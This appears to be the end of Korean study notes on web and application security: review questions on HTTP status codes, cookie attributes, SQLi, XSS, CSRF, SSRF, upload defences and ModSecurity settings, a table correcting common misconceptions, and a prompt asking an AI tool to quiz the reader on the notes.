1Cookie와 Set-Cookie는 각각 요청 · 응답 중 어디에 있나? PUT · TRACE가 위험한 이유는?1.1, 1.2, 1.4
2401과 403의 차이는? 500번대 장애에서 먼저 볼 곳은?1.3, 2.2
3Secure · HttpOnly · SameSite는 각각 무엇을 막나? SOAP · WSDL · UDDI의 관계는?1.5, 1.6
4디렉터리 리스팅 · 버전 노출 · 업로드 크기 설정 지시어는? access_log에 POST 공격이 안 보이는 이유는?2.1, 2.2
5OWASP 2017 · 2021 · 2025에 새로 들어온 항목은?3
6SQLi 다섯 유형을 "결과가 보이는가"로 나누면? DBMS별 주석은?4.1
7XSS · CSRF · SSRF를 "어디서 실행되나 / 누가 요청하나"로 구분하면?4.3, 5.2
8Credential Stuffing과 무차별 대입, MitB와 MITM의 경계는?5.3
9업로드 대응 네 가지와 틀린 대응은? RFI를 막는 PHP 설정은?6.1, 6.2
10SecRuleEngine과 SecAuditEngine의 값은 각각 무엇을 뜻하나?7

부록 B. 자주 하는 실수 · 함정

실수바로잡기
"POST는 암호화된다"❌ 본문에 담길 뿐. 기밀성은 HTTPS
"403 = 로그인이 필요하다"❌ 그건 401 . 403은 권한 없음
"HttpOnly는 HTTPS 전송만 허용"❌ 그건 Secure . HttpOnly는 스크립트 읽기 금지
"XSS는 서버를 공격한다"❌ 브라우저(사용자) 에서 실행
"CSRF는 공격자 스크립트를 실행한다"⚠️ 핵심은 사용자 권한으로 위조 요청 전송
"Blind SQLi는 결과가 화면에 나온다"❌ 참/거짓 · 시간 차이로 추론
"상태코드 200이면 공격이 실패한 것"❌ 요청이 처리됐다는 뜻. 공격 성공일 수도
"업로드 파일명은 순번으로"❌ 추측 불가 난수
"MitB는 HTTPS로 막는다"❌ 암호화 전 브라우저 안에서 변조
"DetectionOnly면 공격을 차단한다"❌ 탐지 · 기록만

부록 C. AI · NotebookLM 복습 프롬프트

이 13번 노트(웹 · 앱 보안)만 근거로 4지선다 8문제를 내줘. 노트 밖 내용은 쓰지 마.
HTTP 상태코드, 쿠키 속성, Options Indexes, SQLi 유형(특히 Time-based), XSS/CSRF/SSRF 구분, 업로드 대응, MitB는 반드시 포함해줘.
내가 답하면 채점하고, 오답 보기가 0절의 어느 축 반대편에 있는지 절 번호와 함께 설명해줘.